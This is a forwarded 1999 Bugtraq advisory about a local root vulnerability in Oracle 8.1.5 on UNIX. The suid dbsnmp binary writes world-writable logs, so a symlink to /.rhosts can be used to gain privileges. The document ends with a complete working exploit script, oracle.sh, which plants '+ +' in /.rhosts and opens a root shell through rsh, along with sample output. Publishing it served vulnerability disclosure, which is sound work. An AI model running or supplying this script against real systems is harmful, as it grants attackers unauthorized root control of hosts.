---------- Forwarded message ----------
Date: Sat, 13 Nov 1999 15:01:08 -0600
From: owner-news@technotronic.com
To: owner-news@technotronic.com
Subject: BOUNCE news@technotronic.com: Approval required:     

>From vacuum@sword.damocles.com  Sat Nov 13 15:01:06 1999
Received: from sword.damocles.com (vacuum@sword.damocles.com [209.100.46.1])
  by sword.damocles.com (8.9.1a/8.9.1) with SMTP id PAA18027
  for <news@technotronic.com>; Sat, 13 Nov 1999 15:01:06 -0600
Date: Sat, 13 Nov 1999 15:01:06 -0600 (CST)
From: Vacuum <vacuum@technotronic.com>
X-Sender: vacuum@sword.damocles.com
To: news@technotronic.com
Subject: Oracle 8 root exploit (fwd)
Message-ID: <Pine.LNX.3.96.991113150050.17962A-100000@sword.damocles.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII





---------- Forwarded message ----------
Date: Sat, 13 Nov 1999 13:35:47 -0800
From: btellier@usa.net
To: bugtraq@securityfocus.com, btellier@usa.net, rfp@wiretrip.net,
    vacuum@technotronic.com, jpatel@organic.com, chunt@organic.com
Subject: Oracle 8 root exploit

Greetings,

OVERVIEW
A vulnerability exists in Oracle 8.1.5 for UN*X which may allow any user
to obtain root privileges.

BACKGROUND
My testing was done with Oracle 8.1.5 on Solaris 2.6 SPARC edition.
This shouldn't make any difference, however, and I would consider any
UNIX Oracle implementation to be exploitable.

DETAILS
When run without ORACLE_HOME being set, dbsnmp (suid root/sgid dba by
default) will dump two log files out into pwd, dbsnmpc and dbsnmpt .  If
these files do not exist, dbsnmpd will attempt to create them mode 666
and dump around 400 bytes of uncontrolable output into them.  If the
files do exist, dbsnmp will append these 400 bytes but not change the
permissions.  Thus if root does not have an .rhosts file, we can obtain
root privs by creating a symlink from /tmp/dbsnmpc to /.rhosts.  One
thing to note about the exploit is that on my particular implementation,
a normal user does not have read access above /product/ in the Oracle
path (something like /u01/app/oracle/product/8.1.5/bin/dbsnmp).  This
won't prevent you from running the exploit since the execute bit is set
for world on all of Oracle's directories, but you may have to guess
about the location of dbsnmp.  This can usually done by examining the
process list for Oracle entries.

EDITORIAL
One small rant about Oracle is their ridiculously complicated bug
reporting scheme, which asks you 2814 questions and allows you ONE line
of text to explain your problem.  In this day and age, I don't
understand why every major software vendor doesn't have something as
simple as a mailto security@vendor.com SOMEWHERE on their site.  In
fact, when I searched Oracle's web page, I got zero hits on the word
"security".  Perhaps this address does exist and a bugtraq reader would
care to enlighten me.

EXPLOIT

  oracle8% uname -a; id
  SunOS oracle8 5.6 Generic_105181-05 sun4u sparc
  SUNW,Ultra-5_10
  uid=102(btellier) gid=10(staff)
  oracle8% /tmp/oracle.sh
  couldn't read file "/config/nmiconf.tcl": no such file or directory
  Failed to initialize nl component,error=462
  Failed to initialize nl component,error=462
  #
--- oracle.sh ---
  #!/bin/sh
  # Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
  # You'll probably have to change your path to dbsnmp
  # Exploit will only work if /.rhosts does NOT exist
  #
  # Brock Tellier btellier@usa.net
  cd /tmp
  unset ORACLE_HOME
  umask 0000
  ln -s /.rhosts /tmp/dbsnmpc.log
  /u01/app/oracle/product/8.1.5/bin/dbsnmp
  echo "+ +" > /.rhosts
  rsh -l root localhost 'sh -i'
  rsh -l root localhost rm /tmp/*log*
  rsh -l root localhost rm /.rhosts
------